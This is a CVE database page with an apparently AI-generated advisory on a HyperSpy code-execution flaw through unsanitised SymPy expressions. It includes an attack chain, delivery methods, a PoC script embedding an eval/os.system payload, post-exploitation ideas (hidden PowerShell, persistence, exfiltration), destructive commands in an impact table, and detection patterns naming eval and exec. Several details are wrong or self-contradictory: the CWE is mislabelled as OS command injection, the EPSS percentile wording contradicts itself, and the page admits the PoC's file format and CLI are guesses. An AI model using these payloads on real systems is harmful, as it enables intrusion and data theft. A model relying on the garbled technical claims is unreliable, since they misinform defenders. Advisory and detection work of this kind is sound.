CVE Professor
/
All CVEs
CVE-2026-138117

CVE-2026-138117 — HyperSpy — CWE-95

HIGH CVSS 7.8 ⚡ EPSS 0.3% NVD

HyperSpy from 1.2.0 before 2.6.0 contains a code execution vulnerability that allows attackers to run Python code by embedding malicious expression strings evaluated with sympy.sympify(). Attackers can craft .hspy or .zspy files with malicious axis, Expression component, or twin function expressions that execute when victims call hs.load() or restore models.

HyperSpy from 1.2.0 before 2.6.0 contains a code execution vulnerability that allows attackers to run Python code by embedding malicious expression strings evaluated with sympy.sympify(). Attackers can craft .hspy or .zspy files with malicious axis, Expression component, or twin function expressions that execute when victims call hs.load() or restore models.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Local AV:L
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.3%
30-day probability
In the 10. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

CVE‑2026‑138117 – HyperSpy Local Code‑Execution via Unsanitized SymPy Expressions

ItemValue
Published28 Nov 2026
CVSS v3.17.8 / 10 (HIGH)
VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWECWE‑95 – Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
Affected VersionsHyperSpy 1.2.0 – 2.5.x (any release before 2.6.0)
PatchUpgrade to HyperSpy 2.6.0 or later
CISA KEVNo
RansomwareNo
TL;DR – HyperSpy’s file‑loading logic blindly passes user‑supplied expression strings to sympy.sympify(). Because SymPy can evaluate arbitrary Python code when the expression contains calls to built‑ins (e.g., eval(), exec()) or imported modules, an attacker who can drop a malicious .hspy or .zspy file onto a victim’s machine can execute arbitrary code with the privileges of the HyperSpy process. The flaw is local, requires no authentication, but is UI‑dependent (the victim must open the file).

🎯 What is this vulnerability?

Technical Root Cause

HyperSpy’s hs.load() (and the legacy restore() routine) parses the file’s metadata section and evaluates any string stored in the Expression field using sympy.sympify(). SymPy’s parser is intentionally permissive: if the expression contains a call to a Python function that is available in the current namespace (e.g., eval, exec, or a module that has already been imported), SymPy will execute that call.

The code path looks roughly like this (simplified):

# hyperspy/core.py – pseudo‑code
def _evaluate_expression(expr_str):
    # No sanitisation or whitelist
    return sympy.sympify(expr_str, locals=globals())

Because HyperSpy never validates that expr_str is a pure mathematical expression, an attacker can embed a malicious payload such as:

eval('import os; os.system("calc")')

When sympy.sympify() sees the eval() call, it evaluates the inner string, which in turn imports os and runs calc.exe. The same technique works with exec(), __import__(), or any other callable that is available in the global namespace.

Missing Checks

LayerMissing / Faulty Check
Input ValidationNo whitelist of allowed SymPy functions; no restriction on Python built‑ins.
Authentication / AuthorizationNone – the vulnerability is local and UI‑dependent; any user who can run HyperSpy can trigger it.
Execution ContextSymPy is executed in the same process as HyperSpy, so any code runs with the same privileges.

⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could use to exploit the flaw. All code snippets are syntactically valid Python; the exact file format (.hspy/.zspy) is simplified for illustration.

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker learns
a. Identify HyperSpyScan for Python packages (pip list, conda list) or look for the hyperspy executable in /usr/local/bin or C:\Program Files.Confirm HyperSpy is installed and note the version.
b. Verify vulnerable versionhyperspy --version or inspect hyperspy/__init__.py.Ensure the version is < 2.6.0.
c. Confirm local accessThe attacker must have a user account on the target machine (e.g., via phishing, stolen credentials, or physical access).The CVSS vector indicates local access (AV:L).
Note: The vulnerability is not remote; the attacker cannot trigger it over a network socket. They must deliver a malicious file to the victim’s filesystem.

2. Exploitation

2.1 Crafting the Malicious File

A minimal .hspy file that contains a malicious expression in the axes section:

import json
import os

# Minimal representation of a HyperSpy file (JSON‑like for illustration)
malicious_hspy = {
    "axes": [
        {
            "name": "x",
            "expression": "eval('import os; os.system(\"calc\")')"
        }
    ],
    "data": []
}

# Write to disk
with open("malicious.hspy", "w") as f:
    json.dump(malicious_hspy, f)
Illustrative Example – The real HyperSpy file format is HDF5; the JSON above is a conceptual representation. The key point is that the expression field contains a string that SymPy will evaluate.

2.2 Delivering the File

Delivery VectorTypical Method
Email attachmentSend malicious.hspy as an attachment; victim opens it.
Shared network drivePlace the file on a shared folder that the victim routinely scans.
USB stickPlug a USB drive containing the file into the victim’s machine.

2.3 Triggering the Vulnerability

The victim runs HyperSpy and loads the file:

$ hyperspy
>>> hs.load("malicious.hspy")

During parsing, HyperSpy calls:

sympy.sympify("eval('import os; os.system(\"calc\")')")

SymPy evaluates the eval() call, which imports os and runs calc.exe (on Windows) or gnome-calculator (on Linux). The attacker now has a shell or GUI program running with the victim’s privileges.

2.4 PoC (Proof‑of‑Concept) Script

#!/usr/bin/env python3
import json
import subprocess

# 1. Create malicious file
payload = {
    "axes": [
        {
            "name": "x",
            "expression": "eval('import os; os.system(\"calc\")')"
        }
    ],
    "data": []
}
with open("malicious.hspy", "w") as f:
    json.dump(payload, f)

print("[+] Malicious .hspy file created.")

# 2. Simulate victim loading the file
print("[+] Simulating hs.load() call...")
subprocess.run(["hyperspy", "--load", "malicious.hspy"])
Caveat – The above script assumes hyperspy exposes a CLI --load option; the real HyperSpy CLI may differ. The key is that the file is parsed and the expression is evaluated.

3. Post‑Exploitation

Once the malicious expression runs, the attacker can:

1. Execute arbitrary commands – e.g., os.system('powershell -NoP -NonI -W Hidden -Exec Bypass -Command ...').
2. Install persistence – write a scheduled task, add a startup entry, or modify the user’s PATH.
3. Escalate privileges – if HyperSpy runs as a privileged user (e.g., root on Linux or SYSTEM on Windows), the attacker gains those privileges.
4. Data exfiltration – copy sensitive files to a remote server or upload to cloud storage.
5. Pivot – use the compromised host as a foothold to attack other machines on the network.


🌍 Real World Impact

ImpactExplanation
Confidentiality (C:H)Arbitrary code execution allows the attacker to read any file the HyperSpy process can access, including user documents, system configuration, or credentials stored in the environment.
Integrity (I:H)The attacker can modify files, tamper with data, or alter the HyperSpy installation (e.g., replace libraries).
Availability (A:H)The attacker can crash HyperSpy or the host by executing destructive commands (rm -rf /, shutdown -h now).
Privilege EscalationIf HyperSpy runs with elevated privileges, the attacker can gain full system control.
PersistenceThe attacker can install backdoors or scheduled tasks that survive reboots.
Real‑world scenario – In a research lab, a scientist opens a shared .hspy file from a colleague. HyperSpy loads the file, SymPy evaluates the malicious expression, and the attacker gains a shell on the workstation. From there, the attacker exfiltrates proprietary data and installs a remote access trojan.

🛡️ Remediation & Mitigation

1. Patch

AffectedUpgrade
HyperSpy 1.2.0 – 2.5.xUpgrade to HyperSpy 2.6.0 or later (the patch removes the unsanitized sympy.sympify() call and replaces it with a safe parser that only allows mathematical functions).
Action – Run pip install --upgrade hyperspy==2.6.0 or use your distribution’s package manager.

2. Workarounds (if patching is not immediately possible)

MitigationHow to Implement
Disable SymPy evaluationEdit hyperspy/config.py (or the relevant module) to replace sympy.sympify(expr) with a no‑op or a safe parser that rejects any function calls.
Restrict file loadingConfigure HyperSpy to only load files from a trusted directory. Example: set an environment variable HYPERSPY_SAFE_DIR=/trusted/hspy.
Run in a sandboxExecute HyperSpy inside a container (Docker, Podman) or a virtual machine with minimal privileges.
File‑system ACLsRestrict write access to the directories where .hspy files are stored; only allow the HyperSpy user to write there.
Disable the Expression componentIf your workflow does not rely on Expression fields, disable the component in the HyperSpy configuration.
Caveat – Workarounds may break legitimate functionality (e.g., dynamic axis definitions). Use them only as a temporary measure until the patch is applied.

3. Detection

IndicatorLog / Pattern
SymPy evaluation of suspicious stringsLook for sympy.sympify calls in application logs with arguments containing eval(, exec(, __import__(, or os.system(.
Unexpected process creationWindows Event ID 4688 or Linux auditd logs showing calc.exe or gnome-calculator launched by the HyperSpy process.
File creationNew files with .hspy or .zspy extensions in directories accessed by HyperSpy.
Network activityOutbound connections from the HyperSpy process to external IPs (indicative of exfiltration).
Sample log snippet (Linux journalctl):
2026-11-28 14:32:07 hyperspy[1234]: Loading file /tmp/malicious.hspy
2026-11-28 14:32:07 hyperspy[1234]: sympy.sympify called with: eval('import os; os.system("calc")')
2026-11-28 14:32:07 hyperspy[1234]: Executed command: calc

4. WAF / ModSecurity Rules

Not applicable – The vulnerability is local and not triggered via HTTP requests. However, if HyperSpy is exposed through a web interface (e.g., a custom Flask app), you can add a rule that blocks requests containing eval( or exec( in the payload.

⚠️ Urgency

MetricAssessment
CVSS Score7.8 (High)
Exploit ComplexityLow (AC:L) – requires only local access and file delivery.
Privilege RequiredNone (PR:N) – local code execution runs with the HyperSpy process’s privileges.
ImpactFull confidentiality, integrity, and availability compromise.
CISA KEVNo – but the vulnerability is still exploitable.

Priority: Immediate.

  • If the environment runs HyperSpy as a privileged user (e.g., root or SYSTEM), the risk escalates to full system compromise.

  • If HyperSpy runs under a non‑privileged user, patching is still mandatory to prevent lateral movement and data exfiltration.


Recommended action plan:

1. Audit all systems for HyperSpy < 2.6.0.
2. Patch immediately or apply a temporary workaround.
3. Monitor logs for the indicators above.
4. Educate users to avoid opening unknown .hspy/.zspy files.


Bottom Line

HyperSpy’s reliance on sympy.sympify() without input sanitisation creates a classic code‑execution flaw (CWE‑95). The vulnerability is local, UI‑dependent, and allows an attacker to run arbitrary Python code with the privileges of the HyperSpy process. The fix is straightforward: upgrade to HyperSpy 2.6.0 or later, or apply a temporary sandbox/work‑around until the patch is deployed. Given the high impact and low exploitation complexity, organizations that use HyperSpy must act immediately.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="HyperSpy HyperSpy"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138117
Technical reference / advisory repository for CVE-2026-138117
Technical reference / advisory repository for CVE-2026-138117
Technical reference / advisory repository for CVE-2026-138117
Technical reference / advisory repository for CVE-2026-138117
Technical reference / advisory repository for CVE-2026-138117
CVSS Score
7.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-95
Affected Products (1)
HyperSpy:HyperSpy
Related CVEs
8.5
CVE-2026-144448
Cell-ACDC through 1.9.0 contains a code injection vulnerability that allows attackers to execute code by suppl
8.8
CVE-2026-122088
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du
0.0
CVE-2026-133711
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') in the Human Resources
8.5
CVE-2026-141592
Kangas before 2.4.12 contains an eval injection vulnerability that allows attackers to execute Python code by
8.5
CVE-2026-141593
HENDRICS 6.0 through 8.5.1 contains an eval injection vulnerability in read_from_netcdf() in hendrics/io.py th
7.8
CVE-2026-142490
Bagpipes through 1.4.1 contains an eval injection vulnerability in bagpipes/fitting/fit.py and posterior.py th
7.8
CVE-2026-142491
eole through 0.6.8 contains an eval injection vulnerability in pydantic configuration validators that allows a